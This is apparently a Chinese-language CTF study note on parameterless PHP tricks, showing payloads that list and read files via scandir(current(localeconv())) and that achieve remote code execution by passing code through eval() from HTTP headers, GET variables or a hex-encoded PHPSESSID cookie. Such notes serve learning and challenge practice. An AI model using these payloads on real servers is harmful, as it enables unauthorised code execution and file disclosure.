无参数读文件

首先print_r(scandir(“.”))可以看当前目录所有文件名。但是既然我们要让他没有参数,那么我们就得把里面的.号,用函数替换掉。有一个函数的返回值第一项为.号,localeconv()。但是我们要只读.号,那我们就找一些只读第一位的函数

发现有这些

1
2
3
4
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

那么,就可以构造出这些

1
2
3
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));

无参数rce

1

getallheaders()返回所有的 HTTP 头信息,但是要注意的一点是这个函数返回的是一个数组,而 eval() 要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。

1
implode(getallheaders())

是从最后开始输出 (由于 php 版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。

具体顺序是在get传输那里传

1
?c=eval(implode(getallheader()))

用bp抓包在请求头那里最后加一个字段名字无所谓,如

1
kevin:system(whomi);//

因为他是倒着读的,所以他读的就是system(whomi);//:kevin

PS.//后面的就被注释掉了

2

get_defined_vars()该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出

不过这里有这么多的数组,我们也不需要全部查看是吧?那么使用current()函数就可以办成这个事情

end()想必你应该了解,说简单点就是将 array 的内部指针移动到最后一个单元并返回其值。end()想必你应该了解,说简单点就是将 array 的内部指针移动到最后一个单元并返回其值。

?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
用这个 payload 的话就可以执行 shell 的命令了

3

session_id()可以用来获取 / 设置当前会话 ID。
那么可以用这个函数来获取 cookie 中的phpsessionid了,并且这个值我们是可控的。
但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

解决方法:将参数转化为 16 进制传进去,之后再用 hex2bin() 函数转换回来就可以了

所以,payload 可以为:?exp=eval(hex2bin(session_id()));
但 session_id 必须要开启 session 才可以使用,所以我们要先使用 session_start。
最后,payload:

1
?exp=eval(hex2bin(session_id(session_start())));

说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在 http 头中设置 PHPSESSID 为想要执行代码的 16 进制:hex("phpinfo();")=706870696e666f28293b

4

1
highlight_file(next(array_reverse(scandir(current(localeconv())))));

5

1
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));